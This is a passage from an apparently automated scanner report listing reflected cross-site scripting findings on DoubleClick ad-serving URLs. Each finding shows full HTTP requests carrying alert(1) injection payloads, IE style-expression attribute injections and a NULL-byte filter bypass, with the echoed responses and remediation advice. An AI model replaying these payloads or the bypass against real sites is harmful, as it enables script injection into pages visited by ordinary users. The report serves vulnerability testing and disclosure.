GET /adi/N6296.8585.TRAFFICMARKETPLACE/B5027088.348;sz=300x250;click=http://adclick.g.doubleclick.net/aclk?sa=l&ai=B5zgm-31lTcvxAcv1lAfG8bDkBfbMhfIBhtia8hf45pedJwAQARgBIAA4AVCAx-HEBGDJhqOH1KOAEIIBF2NhLXB1Yi00ODA5NDYwNzAyMDE2MDM3oAHOifnyA7IBEHd3dy5rb21vbmV3cy5jb226AQozMDB4MjUwX2FzyAEJ2gEYaHR0cDovL3d3dy5rb21vbmV3cy5jb20vmAL0A8ACAcgC3oPPCOACAOoCK0tPTU9fSG9tZXBhZ2VfSHlwZXJsb2NhbF9BZF9TbG90X0lQXzMwMHgyNTCoAwHoA7wE6AO5KegDpQH1AwAAAET1AzAAgAHgBAEbe53b"-alert(1)-"3b9fd4c6033&num=1&sig=AGiWqtwrVt1jASVwF2uSYkvFy5KX9XmTWg&client=ca-pub-4809460702016037&adurl=http%3A%2F%2Fad.trafficmp.com%2Fa%2Fclick%3F_-611797114104433*_3107*lvur_99*uid_115*LsT_3443735*xOr_3247**1bsnn1xr8sjt2___3533310**0_3805*MEn_114**_-862839443;ord=4972427075776531456258795481640? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c708f553300004b|1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Wed, 23 Feb 2011 21:37:43 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 9041

<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserve
...[SNIP]...
d3dy5rb21vbmV3cy5jb226AQozMDB4MjUwX2FzyAEJ2gEYaHR0cDovL3d3dy5rb21vbmV3cy5jb20vmAL0A8ACAcgC3oPPCOACAOoCK0tPTU9fSG9tZXBhZ2VfSHlwZXJsb2NhbF9BZF9TbG90X0lQXzMwMHgyNTCoAwHoA7wE6AO5KegDpQH1AwAAAET1AzAAgAHgBAEbe53b"-alert(1)-"3b9fd4c6033&num=1&sig=AGiWqtwrVt1jASVwF2uSYkvFy5KX9XmTWg&client=ca-pub-4809460702016037&adurl=http%3A%2F%2Fad.trafficmp.com%2Fa%2Fclick%3F_-611797114104433*_3107*lvur_99*uid_115*LsT_3443735*xOr_3247**1bsnn1xr8sjt
...[SNIP]...

3.43. http://ad.doubleclick.net/adi/N6296.8585.TRAFFICMARKETPLACE/B5027088.348 [client parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://ad.doubleclick.net
Path:   /adi/N6296.8585.TRAFFICMARKETPLACE/B5027088.348

Issue detail

The value of the client request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5cb52"-alert(1)-"1e7e78e8863 was submitted in the client parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /adi/N6296.8585.TRAFFICMARKETPLACE/B5027088.348;sz=300x250;click=http://adclick.g.doubleclick.net/aclk?sa=l&ai=B5zgm-31lTcvxAcv1lAfG8bDkBfbMhfIBhtia8hf45pedJwAQARgBIAA4AVCAx-HEBGDJhqOH1KOAEIIBF2NhLXB1Yi00ODA5NDYwNzAyMDE2MDM3oAHOifnyA7IBEHd3dy5rb21vbmV3cy5jb226AQozMDB4MjUwX2FzyAEJ2gEYaHR0cDovL3d3dy5rb21vbmV3cy5jb20vmAL0A8ACAcgC3oPPCOACAOoCK0tPTU9fSG9tZXBhZ2VfSHlwZXJsb2NhbF9BZF9TbG90X0lQXzMwMHgyNTCoAwHoA7wE6AO5KegDpQH1AwAAAET1AzAAgAHgBAE&num=1&sig=AGiWqtwrVt1jASVwF2uSYkvFy5KX9XmTWg&client=ca-pub-48094607020160375cb52"-alert(1)-"1e7e78e8863&adurl=http%3A%2F%2Fad.trafficmp.com%2Fa%2Fclick%3F_-611797114104433*_3107*lvur_99*uid_115*LsT_3443735*xOr_3247**1bsnn1xr8sjt2___3533310**0_3805*MEn_114**_-862839443;ord=4972427075776531456258795481640? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c708f553300004b|1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Wed, 23 Feb 2011 21:38:12 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 9041

<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserve
...[SNIP]...
0vmAL0A8ACAcgC3oPPCOACAOoCK0tPTU9fSG9tZXBhZ2VfSHlwZXJsb2NhbF9BZF9TbG90X0lQXzMwMHgyNTCoAwHoA7wE6AO5KegDpQH1AwAAAET1AzAAgAHgBAE&num=1&sig=AGiWqtwrVt1jASVwF2uSYkvFy5KX9XmTWg&client=ca-pub-48094607020160375cb52"-alert(1)-"1e7e78e8863&adurl=http%3A%2F%2Fad.trafficmp.com%2Fa%2Fclick%3F_-611797114104433*_3107*lvur_99*uid_115*LsT_3443735*xOr_3247**1bsnn1xr8sjt2___3533310**0_3805*MEn_114**_-862839443http%3a%2f%2fwww22.verizon.com/resid
...[SNIP]...

3.44. http://ad.doubleclick.net/adi/N6296.8585.TRAFFICMARKETPLACE/B5027088.348 [num parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://ad.doubleclick.net
Path:   /adi/N6296.8585.TRAFFICMARKETPLACE/B5027088.348

Issue detail

The value of the num request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e702a"-alert(1)-"d6cda420b15 was submitted in the num parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /adi/N6296.8585.TRAFFICMARKETPLACE/B5027088.348;sz=300x250;click=http://adclick.g.doubleclick.net/aclk?sa=l&ai=B5zgm-31lTcvxAcv1lAfG8bDkBfbMhfIBhtia8hf45pedJwAQARgBIAA4AVCAx-HEBGDJhqOH1KOAEIIBF2NhLXB1Yi00ODA5NDYwNzAyMDE2MDM3oAHOifnyA7IBEHd3dy5rb21vbmV3cy5jb226AQozMDB4MjUwX2FzyAEJ2gEYaHR0cDovL3d3dy5rb21vbmV3cy5jb20vmAL0A8ACAcgC3oPPCOACAOoCK0tPTU9fSG9tZXBhZ2VfSHlwZXJsb2NhbF9BZF9TbG90X0lQXzMwMHgyNTCoAwHoA7wE6AO5KegDpQH1AwAAAET1AzAAgAHgBAE&num=1e702a"-alert(1)-"d6cda420b15&sig=AGiWqtwrVt1jASVwF2uSYkvFy5KX9XmTWg&client=ca-pub-4809460702016037&adurl=http%3A%2F%2Fad.trafficmp.com%2Fa%2Fclick%3F_-611797114104433*_3107*lvur_99*uid_115*LsT_3443735*xOr_3247**1bsnn1xr8sjt2___3533310**0_3805*MEn_114**_-862839443;ord=4972427075776531456258795481640? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c708f553300004b|1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Wed, 23 Feb 2011 21:37:53 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 9041

<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserve
...[SNIP]...
b21vbmV3cy5jb226AQozMDB4MjUwX2FzyAEJ2gEYaHR0cDovL3d3dy5rb21vbmV3cy5jb20vmAL0A8ACAcgC3oPPCOACAOoCK0tPTU9fSG9tZXBhZ2VfSHlwZXJsb2NhbF9BZF9TbG90X0lQXzMwMHgyNTCoAwHoA7wE6AO5KegDpQH1AwAAAET1AzAAgAHgBAE&num=1e702a"-alert(1)-"d6cda420b15&sig=AGiWqtwrVt1jASVwF2uSYkvFy5KX9XmTWg&client=ca-pub-4809460702016037&adurl=http%3A%2F%2Fad.trafficmp.com%2Fa%2Fclick%3F_-611797114104433*_3107*lvur_99*uid_115*LsT_3443735*xOr_3247**1bsnn1xr8sjt2___35
...[SNIP]...

3.45. http://ad.doubleclick.net/adi/N6296.8585.TRAFFICMARKETPLACE/B5027088.348 [sig parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://ad.doubleclick.net
Path:   /adi/N6296.8585.TRAFFICMARKETPLACE/B5027088.348

Issue detail

The value of the sig request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d87dc"-alert(1)-"7e5e79f9c31 was submitted in the sig parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /adi/N6296.8585.TRAFFICMARKETPLACE/B5027088.348;sz=300x250;click=http://adclick.g.doubleclick.net/aclk?sa=l&ai=B5zgm-31lTcvxAcv1lAfG8bDkBfbMhfIBhtia8hf45pedJwAQARgBIAA4AVCAx-HEBGDJhqOH1KOAEIIBF2NhLXB1Yi00ODA5NDYwNzAyMDE2MDM3oAHOifnyA7IBEHd3dy5rb21vbmV3cy5jb226AQozMDB4MjUwX2FzyAEJ2gEYaHR0cDovL3d3dy5rb21vbmV3cy5jb20vmAL0A8ACAcgC3oPPCOACAOoCK0tPTU9fSG9tZXBhZ2VfSHlwZXJsb2NhbF9BZF9TbG90X0lQXzMwMHgyNTCoAwHoA7wE6AO5KegDpQH1AwAAAET1AzAAgAHgBAE&num=1&sig=AGiWqtwrVt1jASVwF2uSYkvFy5KX9XmTWgd87dc"-alert(1)-"7e5e79f9c31&client=ca-pub-4809460702016037&adurl=http%3A%2F%2Fad.trafficmp.com%2Fa%2Fclick%3F_-611797114104433*_3107*lvur_99*uid_115*LsT_3443735*xOr_3247**1bsnn1xr8sjt2___3533310**0_3805*MEn_114**_-862839443;ord=4972427075776531456258795481640? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c708f553300004b|1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Wed, 23 Feb 2011 21:38:02 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 9078

<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserve
...[SNIP]...
YaHR0cDovL3d3dy5rb21vbmV3cy5jb20vmAL0A8ACAcgC3oPPCOACAOoCK0tPTU9fSG9tZXBhZ2VfSHlwZXJsb2NhbF9BZF9TbG90X0lQXzMwMHgyNTCoAwHoA7wE6AO5KegDpQH1AwAAAET1AzAAgAHgBAE&num=1&sig=AGiWqtwrVt1jASVwF2uSYkvFy5KX9XmTWgd87dc"-alert(1)-"7e5e79f9c31&client=ca-pub-4809460702016037&adurl=http%3A%2F%2Fad.trafficmp.com%2Fa%2Fclick%3F_-611797114104433*_3107*lvur_99*uid_115*LsT_3443735*xOr_3247**1bsnn1xr8sjt2___3533310**0_3805*MEn_114**_-862839443http%
...[SNIP]...

3.46. http://ad.doubleclick.net/adi/N6296.8585.TRAFFICMARKETPLACE/B5027088.348 [sz parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://ad.doubleclick.net
Path:   /adi/N6296.8585.TRAFFICMARKETPLACE/B5027088.348

Issue detail

The value of the sz request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 99793"-alert(1)-"db897f05fa3 was submitted in the sz parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /adi/N6296.8585.TRAFFICMARKETPLACE/B5027088.348;sz=300x250;click=http://adclick.g.doubleclick.net/aclk?sa=l99793"-alert(1)-"db897f05fa3&ai=B5zgm-31lTcvxAcv1lAfG8bDkBfbMhfIBhtia8hf45pedJwAQARgBIAA4AVCAx-HEBGDJhqOH1KOAEIIBF2NhLXB1Yi00ODA5NDYwNzAyMDE2MDM3oAHOifnyA7IBEHd3dy5rb21vbmV3cy5jb226AQozMDB4MjUwX2FzyAEJ2gEYaHR0cDovL3d3dy5rb21vbmV3cy5jb20vmAL0A8ACAcgC3oPPCOACAOoCK0tPTU9fSG9tZXBhZ2VfSHlwZXJsb2NhbF9BZF9TbG90X0lQXzMwMHgyNTCoAwHoA7wE6AO5KegDpQH1AwAAAET1AzAAgAHgBAE&num=1&sig=AGiWqtwrVt1jASVwF2uSYkvFy5KX9XmTWg&client=ca-pub-4809460702016037&adurl=http%3A%2F%2Fad.trafficmp.com%2Fa%2Fclick%3F_-611797114104433*_3107*lvur_99*uid_115*LsT_3443735*xOr_3247**1bsnn1xr8sjt2___3533310**0_3805*MEn_114**_-862839443;ord=4972427075776531456258795481640? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c708f553300004b|1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Wed, 23 Feb 2011 21:37:33 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 9118

<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserve
...[SNIP]...
rl = escape("http://ad.doubleclick.net/click%3Bh%3Dv8/3ab7/f/283/%2a/t%3B236744794%3B2-0%3B0%3B56548503%3B4307-300/250%3B40625974/40643761/1%3B%3B%7Esscs%3D%3fhttp://adclick.g.doubleclick.net/aclk?sa=l99793"-alert(1)-"db897f05fa3&ai=B5zgm-31lTcvxAcv1lAfG8bDkBfbMhfIBhtia8hf45pedJwAQARgBIAA4AVCAx-HEBGDJhqOH1KOAEIIBF2NhLXB1Yi00ODA5NDYwNzAyMDE2MDM3oAHOifnyA7IBEHd3dy5rb21vbmV3cy5jb226AQozMDB4MjUwX2FzyAEJ2gEYaHR0cDovL3d3dy5rb21vbmV3
...[SNIP]...

3.47. http://ad.doubleclick.net/adi/interactive.wsj.com/front_nonsub [!category parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://ad.doubleclick.net
Path:   /adi/interactive.wsj.com/front_nonsub

Issue detail

The value of the !category request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 35e6e"style%3d"x%3aexpression(alert(1))"c302ea03cd0 was submitted in the !category parameter. This input was echoed as 35e6e"style="x:expression(alert(1))"c302ea03cd0 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /adi/interactive.wsj.com/front_nonsub;!category=;;tile=2;sz=280x61;ord=4795479547954795;35e6e"style%3d"x%3aexpression(alert(1))"c302ea03cd0 HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/home-page
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=OPT_OUT; ebNewBandWidth_.ad.doubleclick.net=3163%3A1302177152798

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Tue, 19 Apr 2011 16:18:43 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 413

<head><title>Click Here</title><base href="http://ad.doubleclick.net"></head><body bgcolor="white"><a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3aee/0/0/%2a/e;44306;0-0;0;29743509;28940-280/61;0/0/0;;~okv=;!category=;;tile=2;sz=280x61;35e6e"style="x:expression(alert(1))"c302ea03cd0;~aopt=2/1/ff/1;~sscs=%3f">
...[SNIP]...

3.48. http://ad.doubleclick.net/adi/interactive.wsj.com/front_nonsub [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://ad.doubleclick.net
Path:   /adi/interactive.wsj.com/front_nonsub

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ea556"style%3d"x%3aexpression(alert(1))"4af9e3c6c90 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as ea556"style="x:expression(alert(1))"4af9e3c6c90 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /adi/interactive.wsj.com/front_nonsub;u=V1-OGZhYzMxMzktMDYxNy00NjVkLTk5NjAtMjI5OTVhOGM5NjM4%5E%5E;!category=;;tile=1;sz=280x46;ord=4795479547954795;&ea556"style%3d"x%3aexpression(alert(1))"4af9e3c6c90=1 HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/home-page
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=OPT_OUT; ebNewBandWidth_.ad.doubleclick.net=3163%3A1302177152798

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Tue, 19 Apr 2011 16:16:25 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 527

<head><title>Click Here</title><base href="http://ad.doubleclick.net"></head><body bgcolor="white"><a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3aee/0/0/%2a/k;44306;0-0;0;29743509;16875-280/46;0/0/0;u=V1-OGZhYzMxMzktMDYxNy00NjVkLTk5NjAtMjI5OTVhOGM5NjM4^^;~okv=;u=V1-OGZhYzMxMzktMDYxNy00NjVkLTk5NjAtMjI5OTVhOGM5NjM4^^;!category=;;tile=1;sz=280x46;&ea556"style="x:expression(alert(1))"4af9e3c6c90=1;~aopt=2/1/ff/1;~sscs=%3f">
...[SNIP]...

3.49. http://ad.doubleclick.net/adi/interactive.wsj.com/front_nonsub [u parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://ad.doubleclick.net
Path:   /adi/interactive.wsj.com/front_nonsub

Issue detail

The value of the u request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 22a8c"style%3d"x%3aexpression(alert(1))"5f70a057ace was submitted in the u parameter. This input was echoed as 22a8c"style="x:expression(alert(1))"5f70a057ace in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /adi/interactive.wsj.com/front_nonsub;u=V1-OGZhYzMxMzktMDYxNy00NjVkLTk5NjAtMjI5OTVhOGM5NjM4%5E%5E;!category=;;tile=1;sz=280x46;ord=4795479547954795;22a8c"style%3d"x%3aexpression(alert(1))"5f70a057ace HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/home-page
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=OPT_OUT; ebNewBandWidth_.ad.doubleclick.net=3163%3A1302177152798

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Tue, 19 Apr 2011 16:16:10 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 524

<head><title>Click Here</title><base href="http://ad.doubleclick.net"></head><body bgcolor="white"><a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3aee/0/0/%2a/k;44306;0-0;0;29743509;16875-280/46;0/0/0;u=V1-OGZhYzMxMzktMDYxNy00NjVkLTk5NjAtMjI5OTVhOGM5NjM4^^;~okv=;u=V1-OGZhYzMxMzktMDYxNy00NjVkLTk5NjAtMjI5OTVhOGM5NjM4^^;!category=;;tile=1;sz=280x46;22a8c"style="x:expression(alert(1))"5f70a057ace;~aopt=2/1/ff/1;~sscs=%3f">
...[SNIP]...

3.50. http://ad.doubleclick.net/adi/interactive.wsj.com/front_sub [!category parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://ad.doubleclick.net
Path:   /adi/interactive.wsj.com/front_sub

Issue detail

The value of the !category request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ca4b2"style%3d"x%3aexpression(alert(1))"7b4c6eb6661 was submitted in the !category parameter. This input was echoed as ca4b2"style="x:expression(alert(1))"7b4c6eb6661 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /adi/interactive.wsj.com/front_sub;!category=;;tile=3;sz=377x140;ord=4795479547954795;ca4b2"style%3d"x%3aexpression(alert(1))"7b4c6eb6661 HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/home-page
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=OPT_OUT; ebNewBandWidth_.ad.doubleclick.net=3163%3A1302177152798

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Tue, 19 Apr 2011 16:18:56 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 510

<head><title>Click Here</title><base href="http://ad.doubleclick.net"></head><body bgcolor="white"><a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3aee/0/0/%2a/d;215935200;6-0;0;29217874;29332-377/140;38766073/38783830/1;;~okv=;!category=;;tile=3;sz=377x140;ca4b2"style="x:expression(alert(1))"7b4c6eb6661;~aopt=6/1/ff/1;~sscs=%3fhttp://it-jobs.fins.com/?reflink=djm_bcu_tech_x140">
...[SNIP]...

3.51. http://ad.doubleclick.net/adj/KOMO/HOME [sz parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://ad.doubleclick.net
Path:   /adj/KOMO/HOME

Issue detail

The value of the sz request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload %00322a1'-alert(1)-'c7b800a0218 was submitted in the sz parameter. This input was echoed as 322a1'-alert(1)-'c7b800a0218 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request

GET /adj/KOMO/HOME;sz=%00322a1'-alert(1)-'c7b800a0218 HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.komonews.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c708f553300004b|1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Content-Length: 50373
Cache-Control: no-cache
Pragma: no-cache
Date: Wed, 23 Feb 2011 21:47:29 GMT
Expires: Wed, 23 Feb 2011 21:47:29 GMT

document.write('');

if(typeof(dartCallbackObjects) == "undefined")
var dartCallbackObjects = new Array();
if(typeof(dartCreativeDisplayManagers) == "undefined")
var dartCreativeDisplayManagers =
...[SNIP]...
://ad.doubleclick.net/activity;src=2127271;stragg=1;v=1;pid=18824836;aid=236883395;ko=0;cid=40818774;rid=40836561;rv=1;rn=2864662;";
this.swfParams = 'src=2127271&rv=1&rid=40836561&=%00322a1'-alert(1)-'c7b800a0218&';
this.renderingId = "40836561";
this.previewMode = (("%PreviewMode" == "true") ? true : false);
this.debugEventsMode = (("%DebugEventsMode" == "true")
...[SNIP]...

3.52. http://ad.doubleclick.net/adj/KOMO/HOME [sz parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://ad.doubleclick.net
Path:   /adj/KOMO/HOME

Issue detail

The value of the sz request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 27956'-alert(1)-'a0fcdcacbd9 was submitted in the sz parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /adj/KOMO/HOME;sz=27956'-alert(1)-'a0fcdcacbd9 HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.komonews.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
